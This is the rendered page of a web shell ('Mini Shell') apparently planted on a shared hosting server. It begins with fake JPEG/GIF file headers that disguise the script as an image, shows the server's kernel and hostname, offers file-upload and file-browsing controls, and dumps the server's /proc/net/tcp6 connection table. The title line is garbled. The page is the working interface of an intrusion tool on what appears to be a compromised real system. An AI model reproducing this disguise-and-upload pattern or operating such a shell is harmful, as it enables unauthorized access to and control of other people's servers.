ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux server378.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64

Current Path : /proc/thread-self/root/proc/net/
Upload File :
Current File : //proc/thread-self/root/proc/net/tcp6

  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701418 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   984        0 1394086556 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:526A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 806594338 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2913255314 1 0000000000000000 100 0 0 10 50
   4: 00000000000000000000000000000000:238C 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   976        0 3561696928 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:238E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1829573099 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701416 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2898722393 1 0000000000000000 100 0 0 10 0
   8: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701464 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:006F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19608 1 0000000000000000 100 0 0 10 0
  10: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2913255312 1 0000000000000000 100 0 0 10 50
  11: 00000000000000000000000000000000:0051 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2014185658 1 0000000000000000 100 0 0 10 256
  12: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 2149213961 1 0000000000000000 100 0 0 10 5
  13: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4037995638 1 0000000000000000 100 0 0 10 8
  14: 00000000000000000000000000000000:31F5 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 981350840 1 0000000000000000 100 0 0 10 0
  15: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 3561801668 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2913255308 1 0000000000000000 100 0 0 10 50
  17: 00000000000000000000000000000000:001A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2913255310 1 0000000000000000 100 0 0 10 50
  18: 00000000000000000000000000000000:01BC 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2014185660 1 0000000000000000 100 0 0 10 256
  19: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701466 1 0000000000000000 100 0 0 10 0
  20: 00000000000000000000000000000000:2742 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   975        0 2102669916 1 0000000000000000 100 0 0 10 0
  21: 00000000000000000000000000000000:1622 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   969        0 1940279278 1 0000000000000000 100 0 0 10 0
  22: 00000000000000000000000001000000:008F 00000000000000000000000001000000:EAAE 06 00000000:00000000 03:00000CD2 00000000     0        0 0 3 0000000000000000
  23: 00000000000000000000000001000000:9A42 00000000000000000000000001000000:008F 06 00000000:00000000 03:00001032 00000000     0        0 0 3 0000000000000000
  24: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:C022 01 00000000:00000000 02:00047775 00000000   984        0 2910365937 2 0000000000000000 20 4 29 10 16
  25: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:CD2E 01 00000000:00000000 02:0006ABE2 00000000   984        0 2911826859 2 0000000000000000 20 4 29 10 16
  26: 00000000000000000000000001000000:008F 00000000000000000000000001000000:9A50 06 00000000:00000000 03:000010F0 00000000     0        0 0 3 0000000000000000
  27: 00000000000000000000000001000000:EAAE 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000CD2 00000000     0        0 0 3 0000000000000000
  28: 00000000000000000000000001000000:CD2E 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0006ABE2 00000000  1098        0 2911828892 2 0000000000000000 20 4 24 10 16
  29: 00000000000000000000000001000000:EAA8 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000B80 00000000     0        0 0 3 0000000000000000
  30: 00000000000000000000000001000000:008F 00000000000000000000000001000000:9A42 06 00000000:00000000 03:00001032 00000000     0        0 0 3 0000000000000000
  31: 00000000000000000000000001000000:9A50 00000000000000000000000001000000:008F 06 00000000:00000000 03:000010F0 00000000     0        0 0 3 0000000000000000
  32: 00000000000000000000000001000000:C022 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00047775 00000000  1203        0 2910367816 2 0000000000000000 20 4 25 10 16
  33: 00000000000000000000000001000000:C01C 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0004776D 00000000  1203        0 2910367814 2 0000000000000000 20 4 0 10 16
  34: 00000000000000000000000001000000:C362 00000000000000000000000001000000:0CEA 06 00000000:00000000 03:00000C85 00000000     0        0 0 3 0000000000000000
  35: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:C01C 01 00000000:00000000 02:0004776D 00000000   984        0 2910365933 2 0000000000000000 20 4 25 10 16

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST